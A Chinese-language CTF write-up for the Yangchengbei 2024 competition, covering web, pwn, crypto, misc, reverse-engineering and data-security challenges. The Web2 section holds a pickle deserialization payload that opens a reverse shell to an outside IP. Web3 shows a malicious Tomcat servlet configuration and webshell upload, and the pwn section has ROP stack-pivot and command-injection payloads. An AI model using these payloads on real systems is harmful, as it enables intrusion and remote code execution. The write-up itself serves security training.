羊城杯2024全方向部分题解
字数 1183 2025-08-24 07:48:23

羊城杯2024 CTF竞赛全方向题解技术文档

Web方向

Web2 - 文件读取与反序列化利用

漏洞分析

  1. 发现/login路由和文件读取接口/lyrics?lyrics=Rain.txt
  2. 存在任意文件读取漏洞,但限制在/var/www/html/XXX/目录下
  3. 成功读取app.py源码,发现Flask应用使用pickle反序列化

利用步骤

  1. 读取cookie.pyconfig/secret_key.py获取加密方式和密钥
  2. 构造非R方向的pickle序列化payload反弹shell:
res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''
secret_code = "EnjoyThePlayTime123456"
cookie_value = cookie_encode(res, key=secret_code)
  1. 修改cookie访问/board路由获取shell

Web3 - Tomcat配置漏洞

漏洞利用

  1. 读取/conf/tomcat-users.xml获取凭证
  2. 上传恶意XML配置文件:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
  <servlet>
    <servlet-name>exec</servlet-name>
    <jsp-file>/WEB-INF/1.xml</jsp-file>
  </servlet>
  <servlet-mapping>
    <servlet-name>exec</servlet-name>
    <url-pattern>/exec</url-pattern>
  </servlet-mapping>
</web-app>
  1. 上传JSP木马并执行命令反弹shell

数据安全方向

数据安全1 - 数据分类

解决方案

  1. 实现分类函数判断数据类型:
def classify_data(data,k):
    if data.isdigit() and 1 <= int(data) <= 10000: return 0  # 编号
    if data in ['男', '女']: return 4  # 性别
    if is_chinese(data[0]): return 3  # 姓名
    if len(data) == 32: return 2  # 密码
    if data.isdigit() and len(data) == 8: return 5  # 出生日期
    if data[6:14] in k: return 6  # 身份证号
    if data.startswith(phone_prefixes): return 7  # 手机号
    return 1  # 用户名

数据安全2 - 数据校验

校验逻辑

  1. 使用pyshark解析pcapng文件提取JSON数据
  2. 实现严格校验:
def check(data):
    # 检查特殊字符
    for i in dot:
        if i in any_field: return 0
    # 校验性别与身份证号一致性
    if (data[2]=="男" and int(data[4][-2])%2==0) or \
       (data[2]=="女" and int(data[4][-2])%2==1): return 0
    # 校验身份证校验位
    sum=0
    for i in range(len(data[4])-1):
        sum += (int(data[4][i])*xishu[i])
    if jiaoyan[sum%11]!=data[4][-1]: return 0
    # 校验手机号前缀
    if int(data[5][:3]) not in phone: return 0
    return 1

PWN方向

pstack - 栈迁移利用

利用步骤

  1. 构造三次栈迁移链:
payload = b'a'*0x30 + p64(bss+0x30) + p64(read)  # 第一次迁移
payload = p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(rbp) + p64(bss+0x300+0x30) + p64(read)  # 第二次
payload = b'a'*8 + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)  # 第三次
  1. 泄露libc地址后获取shell

httpd - 目录遍历与命令注入

利用链

  1. 双重URL编码绕过路径检查:
payload = b'get /cp%20/flag%20/home/ctf/html HTTP/1.0'
  1. 通过popen执行命令读取flag

Crypto方向

TheoremPlus - 威尔逊定理应用

关键算法

def decode_e(e):
    if e > 1:
        mul = 1
        for i in range(1, e):
            mul *= i
        if e - mul % e - 1 == 0:
            mulmod = mul % e - e
        else:
            mulmod = mul % e
        return mulmod + decode_e(e - 1)
    else:
        return 0

TH_Curve - 椭圆曲线攻击

解题步骤

  1. 将Twisted Hessian曲线转换为Weierstrass形式
  2. 使用Pohlig-Hellman算法计算离散对数
  3. 参数转换公式:
a0 = 1
a1 = -3*(d/3)/(a-(d/3)**3)
a3 = -9/((a-(d/3)**3)**2)

MISC方向

hiden - 音频隐写

提取算法

# 从wav中提取隐藏数据
for index in range(0, len(wav_data), 4):
    txt_data.append(wav_data[index])
file_len = int.from_bytes(txt_data[:3], 'little')
flag = txt_data[3:3+file_len]

check_in - 流量分析

关键步骤

  1. 十六进制转pcapng:
bytes_data = bytes.fromhex(hex_str)
with open(output_file, 'wb') as f:
    f.write(bytes_data)
  1. 使用TLS密钥解密HTTPS流量
  2. 分析GIF帧间隔获取隐藏信息

RE方向

pic - RC4逆向分析

密钥爆破

def RC4(key, plaintext):
    key = [ord(c) for c in key]
    S = init(key)
    keystream = fff(S, len(plaintext))
    result = bytearray([keystream[i] ^ plaintext[i] ^ 0x11 for i in range(len(plaintext))])
    result = bytearray([b ^ key[1] for b in result])
    return result

docCrack - 宏病毒分析

解密流程

  1. 提取VBA宏代码
  2. 异或解密:
enc = [4288, 4480, 5376, ...]  # 密文数组
for i in enc:
    print(chr((i >> 6) ^ 7), end="")

主函数混淆 - 逆向分析

真实执行流程

  1. atexit注册的函数逆序执行:
    • DCT加密 → ROT13 → 输入验证
  2. IDCT解密算法:
def idct(dct_coeffs):
    N = len(dct_coeffs)
    original = np.zeros(N)
    for n in range(N):
        sum_val = 0.0
        for k in range(N):
            Ck = (1.0/np.sqrt(N)) if k == 0 else np.sqrt(2.0/N)
            sum_val += Ck * dct_coeffs[k] * np.cos(np.pi*k*(2.0*n+1)/(2*N))
        original[n] = sum_val
    return original

关键知识点总结

  1. Web安全

    • Flask pickle反序列化漏洞利用
    • Tomcat配置错误导致的安全问题
    • XML配置文件注入
  2. 密码学

    • 威尔逊定理在素数判定中的应用
    • 椭圆曲线转换与Pohlig-Hellman算法
    • RC4算法实现与密钥爆破
  3. 逆向工程

    • 函数注册机制(atexit)分析
    • IDCT算法逆向
    • 宏病毒分析与解密
  4. 数据安全

    • 结构化数据分类算法
    • 数据完整性校验实现
    • 网络流量分析与解密
  5. 二进制利用

    • 栈迁移技术
    • 目录遍历漏洞利用
    • 异常处理机制利用
羊城杯2024 CTF竞赛全方向题解技术文档 Web方向 Web2 - 文件读取与反序列化利用 漏洞分析 : 发现 /login 路由和文件读取接口 /lyrics?lyrics=Rain.txt 存在任意文件读取漏洞,但限制在 /var/www/html/XXX/ 目录下 成功读取 app.py 源码,发现Flask应用使用pickle反序列化 利用步骤 : 读取 cookie.py 和 config/secret_key.py 获取加密方式和密钥 构造非R方向的pickle序列化payload反弹shell: 修改cookie访问 /board 路由获取shell Web3 - Tomcat配置漏洞 漏洞利用 : 读取 /conf/tomcat-users.xml 获取凭证 上传恶意XML配置文件: 上传JSP木马并执行命令反弹shell 数据安全方向 数据安全1 - 数据分类 解决方案 : 实现分类函数判断数据类型: 数据安全2 - 数据校验 校验逻辑 : 使用pyshark解析pcapng文件提取JSON数据 实现严格校验: PWN方向 pstack - 栈迁移利用 利用步骤 : 构造三次栈迁移链: 泄露libc地址后获取shell httpd - 目录遍历与命令注入 利用链 : 双重URL编码绕过路径检查: 通过popen执行命令读取flag Crypto方向 TheoremPlus - 威尔逊定理应用 关键算法 : TH_ Curve - 椭圆曲线攻击 解题步骤 : 将Twisted Hessian曲线转换为Weierstrass形式 使用Pohlig-Hellman算法计算离散对数 参数转换公式: MISC方向 hiden - 音频隐写 提取算法 : check_ in - 流量分析 关键步骤 : 十六进制转pcapng: 使用TLS密钥解密HTTPS流量 分析GIF帧间隔获取隐藏信息 RE方向 pic - RC4逆向分析 密钥爆破 : docCrack - 宏病毒分析 解密流程 : 提取VBA宏代码 异或解密: 主函数混淆 - 逆向分析 真实执行流程 : atexit注册的函数逆序执行: DCT加密 → ROT13 → 输入验证 IDCT解密算法: 关键知识点总结 Web安全 : Flask pickle反序列化漏洞利用 Tomcat配置错误导致的安全问题 XML配置文件注入 密码学 : 威尔逊定理在素数判定中的应用 椭圆曲线转换与Pohlig-Hellman算法 RC4算法实现与密钥爆破 逆向工程 : 函数注册机制(atexit)分析 IDCT算法逆向 宏病毒分析与解密 数据安全 : 结构化数据分类算法 数据完整性校验实现 网络流量分析与解密 二进制利用 : 栈迁移技术 目录遍历漏洞利用 异常处理机制利用